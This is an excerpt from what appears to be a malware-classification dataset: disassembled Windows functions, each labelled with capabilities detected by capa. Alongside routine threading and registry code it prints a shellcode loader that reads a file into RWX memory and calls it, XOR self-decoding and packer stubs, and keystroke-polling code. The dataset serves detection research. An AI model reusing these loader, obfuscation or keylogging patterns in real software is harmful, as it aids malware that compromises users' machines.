joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b830
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x491e50]
test ebx, ebx
je 0x41b860
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x491e50]
test eax, eax
je 0x41b885
cmp dword [eax], 0xffffffff
je 0x41b8a8
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov ebx, eax
mov dword [0x491e50], eax
jmp 0x41b83e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41b84f
call sym._abort
lea esi, [esi]
Function at 0x41bd40
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x491e54]
test eax, eax
je 0x41be94
call sym.__pthread_once_raw.constprop.5
mov eax, dword [0x491e50]
test eax, eax
je 0x41bec0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x41bd80
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
test eax, eax
mov ebx, eax
je 0x41bf0c
mov eax, dword [entry3]
test eax, eax
je 0x41bf0c
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x38], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub esp, 0x10
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x34], 0xffffffff
mov dword [ebx + 0x60], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
mov edx, eax
lea eax, [ebx + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebp
mov dword [esp + 4], edi
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41bf13
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
mov dword [ebx + 0x64], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x491e50]
test eax, eax
je 0x41bee6
mov dword [esp + 4], ebx
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41bf13
mov eax, ebx
jmp 0x41bd78
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_once_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e54], eax
jmp 0x41bd54
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41bd66
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41be73
xor eax, eax
jmp 0x41bd78
call sym._abort
nop
lea esi, [esi]
Function at 0x41c480
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
cmp dword [esp + 0x24], 3
je 0x41c4a0
add esp, 0x14
mov eax, 1
pop ebx
pop esi
ret 0xc
mov eax, dword [0x491e50]
test eax, eax
je 0x41c610
mov eax, dword [eax]
cmp eax, 0xffffffff
je 0x41c48c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41c48c
test byte [eax + 0x20], 0x30
je 0x41c560
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41c600
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41c510
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41c502
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov edx, dword [ebx + 0xac]
mov dword [ebx + 0x34], 0xffffffff
test edx, edx
je 0x41c666
mov eax, dword [0x491e50]
test eax, eax
je 0x41c640
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, 1
add esp, 0x14
pop ebx
pop esi
ret 0xc
mov eax, dword [eax + 0x64]
test eax, eax
mov eax, dword [ebx + 0x18]
jne 0x41c5c0
test eax, eax
je 0x41c57a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb0]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x64], 1
test eax, eax
jne 0x41c5f0
test byte [ebx + 0x24], 4
je 0x41c5d7
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41c509
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x41c509
test eax, eax
je 0x41c5d0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x18], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
mov dword [ebx + 0x34], 0xffffffff
jmp 0x41c48c
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c592
call sym.__pthread_cleanup_dest.part.3
jmp 0x41c4de
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41c4ad
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41c53d
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41c530
Function at 0x41d800
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb0]
test eax, eax
jne 0x41d87b
test byte [ebx + 0x20], 0x30
je 0x41d882
mov eax, dword [0x491e50]
test eax, eax
je 0x41d90b
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41d872
cmp dword [eax + 0x14], 0
je 0x41d895
mov esi, dword [eax + 4]
mov dword [eax + 0x64], 1
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d865
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41d8df
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.3
jmp 0x41d81d
add ebx, 0x6c
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov dword [eax], 0xdeadbeef
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d8ac
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
je 0x41d902
mov eax, dword [0x491e50]
test eax, eax
je 0x41d931
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41d872
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
cmp dword [ebx + 0xac], 0
mov dword [ebx + 0x14], 0
jne 0x41d8bf
mov eax, ebx
call sym._push_pthread_mem.part.0
jmp 0x41d8bf
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41d830
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x491e50], eax
jmp 0x41d8c8
Function at 0x4201b0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp], edi
call sym._strlen
mov ebx, eax
lea eax, [eax + 0x40]
and eax, 0xfffffff0
call fcn.0040dcd0
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
lea esi, [esp + 0xc]
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp], eax
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
lea edi, [esi + eax]
mov dword [ebp - 0x24], eax
lea eax, [ebx + 0x30]
mov dword [edi], 0x61616161
mov dword [edi + 4], 0x61616161
mov dword [edi + 8], 0x61616161
mov dword [edi + 0xc], 0x61616161
mov dword [edi + 0x10], 0x61616161
mov dword [edi + 0x14], 0x61616161
mov dword [edi + 0x18], 0x61616161
mov dword [edi + 0x1c], 0x61616161
mov dword [ebp - 0x1c], eax
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov byte [esi + ebx + 0xf], 0x2d
mov dword [ebp - 0x20], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x42029f
int3
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x420343
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._malloc
mov edx, edi
mov ebx, eax
mov eax, 0x20
nop
lea esi, [esi]
bt ebx, eax
jae 0x4202d8
mov byte [edx], 0x41
add edx, 1
sub eax, 1
jne 0x4202d0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
je 0x420340
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
cmp eax, ebx
mov esi, eax
je 0x42035a
mov dword [esp], ebx
call sym._free
mov edi, dword [ebp - 0x20]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
int3
mov ecx, dword [ebp - 0x24]
mov edx, esi
movzx eax, ax
mov dword [esp], ecx
mov ecx, dword [ebp - 0x1c]
call sym._get_ptr_from_atom_1
mov esi, eax
jmp 0x420312
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x420312
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x420312

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x7d0c325e
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x237e3213
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x4227d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e746b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004d7d2d
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x422852
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004d4f6f
mov eax, dword [eax]
push 0x12ed1f0
push eax
call fcn.004c6244
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004d7fb8
test bl, bl
je 0x422852
push 0x12ed1f0
lea ecx, [esp + 0xc]
call fcn.004d8348
push 0x12f0d84
lea ecx, [esp + 0xc]
call fcn.004d8348
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42288e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004d7fb8
jmp 0x422959
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x422912
lea edx, [esp + 0x7c]
push 0x12f0d80
push edx
call fcn.004c6244
add esp, 8
test eax, eax
je 0x422912
lea eax, [esp + 0x7c]
push 0x12f0d7c
push eax
call fcn.004c6244
add esp, 8
test eax, eax
je 0x422912
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4228a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004d7fb8
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x423150
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4231b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4231c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4e74eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x130e190]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4232f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x423226
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d7fb8
xor eax, eax
jmp 0x42336f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004d80f5
push esi
lea ecx, [esp + 0xc]
call fcn.004d8384
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42334d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00423150
test eax, eax
jne 0x42334d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00423150
test eax, eax
jne 0x42334d
lea eax, [esp + 0x14]
push 0x12f0d98
push eax
call fcn.004c7430
mov esi, eax
add esp, 8
test esi, esi
jne 0x42332c
lea ecx, [esp + 0x14]
push 0x12f0d94
push ecx
call fcn.004c73b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42332c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42332f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004d80a5
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42323e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004d7fb8
xor eax, eax
jmp 0x42336f
mov byte [esi], 0
push 0x12f0d90
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004d7fb8
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4391c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43922e
cmp si, 0x69
ja 0x43922e
add esi, 0xffd0
cmp si, 0x11
je 0x4391fe
push 0x11
call edi
test ax, ax
jge 0x4391fe
or esi, 0x2000
cmp si, 0x10
je 0x439213
push 0x10
call edi
test ax, ax
jge 0x439213
or esi, 0x4000
cmp si, 0x12
je 0x439228
push 0x12
call edi
test ax, ax
jge 0x439228
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43923b
mov esi, 0xbd
jmp 0x4391ef
cmp si, 0x6e
jne 0x439248
mov esi, 0xbe
jmp 0x4391ef
cmp si, 0x6f
jne 0x4391e9
mov esi, 0xbf
jmp 0x4391ef

Function at 0x43a930
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x131ecb8]
xor edx, edx
cmp eax, edx
jne 0x43a956
xor eax, eax
mov byte [eax + 0x131ebb8], al
inc eax
cmp eax, 0x100
jl 0x43a93e
mov dword [0x131ecb8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x131ebb8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x43a9e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43a9ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x43a988
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x43a9f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x43aa43
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43aa2a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4418c0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x441a58
cmp ebp, ebx
jle 0x441a58
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x44191e
dec eax
or eax, 0xfffffff8
inc eax
je 0x441925
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x441934
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x44193b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004d7cf9
add esp, 4
cmp eax, ebx
je 0x44195c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004d7cf9
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x441a4e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x441a35
mov al, byte [edx]
cmp al, 0xc0
jbe 0x441a21
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x441a16
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x441a24
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x441a24
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4419c0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4419b1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret